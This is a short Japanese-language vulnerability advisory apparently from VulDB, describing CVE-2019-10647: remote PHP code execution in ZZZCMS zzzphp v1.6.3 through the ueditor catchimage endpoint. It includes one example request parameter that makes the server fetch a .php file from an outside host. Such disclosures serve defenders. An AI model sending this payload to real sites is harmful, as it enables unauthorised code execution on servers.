CVE-2019-10647 in zzzphp
要約
〜によって VulDB • 2026年06月07日
ZZZCMS zzzphp v1.6.3では、plugins/ueditor/php/controller.php?action=catchimageのsource[]パラメータ内の.php URLを介して、リモート攻撃者が任意のPHPコードを実行できます。これはinc/zzz_file.phpでの制限が不足しているためです。例えば、192.168.0.1 Webサーバーが.phpファイルの内容を送信する場合（つまり、.phpファイルを解釈しない場合）、source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.phpを使用できます。
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.